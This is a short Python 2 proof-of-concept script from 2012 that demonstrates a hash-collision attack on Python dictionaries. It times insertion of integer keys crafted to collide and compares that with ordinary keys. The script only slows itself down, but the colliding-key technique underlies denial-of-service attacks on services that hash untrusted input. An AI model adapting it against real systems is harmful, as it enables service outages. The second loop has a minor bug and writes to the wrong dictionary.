#/usr/bin/python
 
 
# to attack hash collision in python
 
# code by joeda@hi.baidu.com 2012-01-05
 
#  to save as atk.py
 
# python atk.py  40000
# .
# 42.530313015
# *
# 0.087562084198
 
import time, sys
 
MAX = 100000
try:
    MAX = int( sys.argv[1] )
except:
    pass
 
t0= time.time()
k={}
for i in range(MAX):
    k[ i*2*2**31-i ] = 0
print '.'
print time.time() - t0
 
t0=time.time()
kp={}
for i in range( MAX ):
    i*2*2**31
    k[i] = 0
print '*'
print time.time() - t0